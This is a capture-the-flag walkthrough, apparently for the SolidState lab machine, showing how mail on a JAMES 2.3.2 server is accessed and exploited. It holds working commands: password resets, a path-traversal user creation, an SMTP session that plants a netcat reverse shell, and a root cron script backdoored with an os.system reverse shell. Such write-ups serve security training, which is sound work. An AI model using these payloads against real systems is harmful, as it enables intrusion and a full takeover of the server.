# Exploitation and POSTY

With root access I was able to change the password of default users. Doing so I was then able to access their email via thunderbird.

![changed password to password](https://4057777515-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MHH7KhyMHFxZjjhb__O%2F-MJUSMUMyYv-7oXRdp-G%2F-MJUWrt3xle3Yf8wcg50%2Fimage.png?alt=media\&token=3ed838a9-c412-482c-bc1d-653ec530a6c5)

## Accessing Mail

After changing passwords, I was able to successfully login on on thunderbird.

![resetting mindys password](https://4057777515-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MHH7KhyMHFxZjjhb__O%2F-MJUSMUMyYv-7oXRdp-G%2F-MJUXcG0-nIGsMSlkZIh%2Fimage.png?alt=media\&token=905d0bfc-e40d-451e-8ab2-51b6d51219f7)

### Quick Telnet tutorial

{% embed url="<https://docs.microsoft.com/en-us/exchange/mail-flow/test-smtp-with-telnet?view=exchserver-2019>" %}

## **Checking mail via Terminal**

```
telnet 10.10.10.51 110
USER mindy
PASS password
LIST
.
RETR 1
RETR 2
```

SSH credentials

After logging into the account via thunderbird, I was able to find credentials for ssh.

![ssh credentials](https://4057777515-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MHH7KhyMHFxZjjhb__O%2F-MJUSMUMyYv-7oXRdp-G%2F-MJUYAobt9grysP01Tsj%2Fimage.png?alt=media\&token=d99a6b4a-8233-4ff6-a4e9-f205518062c8)

* username: mindy
* password: P\@55w0rd1!2@

```
cat /etc/passwd
speech-dispatcher:x:113:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/false                
pulse:x:114:120:PulseAudio daemon,,,:/var/run/pulse:/bin/false                                       
hplip:x:115:7:HPLIP system user,,,:/var/run/hplip:/bin/false                                         
Debian-gdm:x:116:122:Gnome Display Manager:/var/lib/gdm3:/bin/false                                  
sshd:x:117:65534::/run/sshd:/usr/sbin/nologin    
james:x:1000:1000:james:/home/james/:/bin/bash                                                       
mindy:x:1001:1001:mindy:/home/mindy:/bin/rbash
```

### Gaining a Reverse Shell

After trying to escape the shell it was to no avail, however, From the above exploit we can execute code to establish a reverse shell. This may escape us from the mindy shell to a better shell, im thinking a Ben Franklin kinda shell. Create an user with the following name and password on the James Remote Server

```
nc 10.10.10.51 4555
../../../../../../../../etc/bash_completion.d password
```

Send an email to this user with a reverse shell&#x20;

{% embed url="<https://docs.microsoft.com/en-us/exchange/mail-flow/test-smtp-with-telnet?view=exchserver-2019>" %}

```
kali@kali:/opt$ telnet 10.10.10.51 25
Trying 10.10.10.51...
Connected to 10.10.10.51.
Escape character is '^]'.
220 solidstate SMTP Server (JAMES SMTP Server 2.3.2) ready Tue, 13 Oct 2020 07:55:43 -0400 (EDT)
ECHLO test.test
500 5.5.1 Command ECHLO unrecognized.
EHLO test.test
250-solidstate Hello test.test (10.10.14.34 [10.10.14.34])
250-PIPELINING
250 ENHANCEDSTATUSCODES
MAIL FROM: <random@random.com>
250 2.1.0 Sender <random@random.com> OK
RCPT TO: <../../../../../../../../etc/bash_completion.d@localhost>                                   250 2.1.5 Recipient <../../../../../../../../etc/bash_completion.d@localhost> OK
DATA
354 Ok Send data ending with <CRLF>.<CRLF>
FROM test.test
'
/bin/nc -e /bin/bash 10.10.10.14.34 4444
.
250 2.6.0 Message received
quit 
221 2.0.0 solidstate Service closing transmission channel
Connection closed by foreign host.
```

That single quote above is so that the file is interpreted properly at the back end and our reverse shell returns

Logging in back into mindy will execute our reverse shell.

![](https://4057777515-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MHH7KhyMHFxZjjhb__O%2F-MJWx2ZW-6fgNW2--8Mc%2F-MJXA5kmSSC1clPNwg27%2Fimage.png?alt=media\&token=69147349-50c4-45e8-853a-2b8d0aecad94)

After getting our reverse shell  and runnning pspy32, we are able to find the following python file.

![](https://4057777515-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MHH7KhyMHFxZjjhb__O%2F-MJWx2ZW-6fgNW2--8Mc%2F-MJX9sjdkvAzdf7mEaZw%2Fimage.png?alt=media\&token=3796b177-4e38-4c12-9fe0-f34787cbc48e)

It appears to be a cronjob that executes a python script that deletes the tmp directory. Further looking at this file and its permissions something stood out.

![](https://4057777515-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MHH7KhyMHFxZjjhb__O%2F-MJWx2ZW-6fgNW2--8Mc%2F-MJXBwTuzr9yuZc3_i8H%2Fimage.png?alt=media\&token=7b3fe1e3-12b1-49ef-b818-69a515a8a192)

This file can be ran and executed as root and WRITTEN by ANY user!

adding python code to establish a reverse shell will give us a reverse connetion with root

```
echo "os.system('/bin/nc -e /bin/bash 10.10.14.34 7777')" >> /opt/tmp.py
```

![We are root](https://4057777515-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MHH7KhyMHFxZjjhb__O%2F-MJWx2ZW-6fgNW2--8Mc%2F-MJXEIJoj2QT2uLBSkq-%2Fimage.png?alt=media\&token=9e23a784-42eb-4f49-8298-9f28bb2c8200)
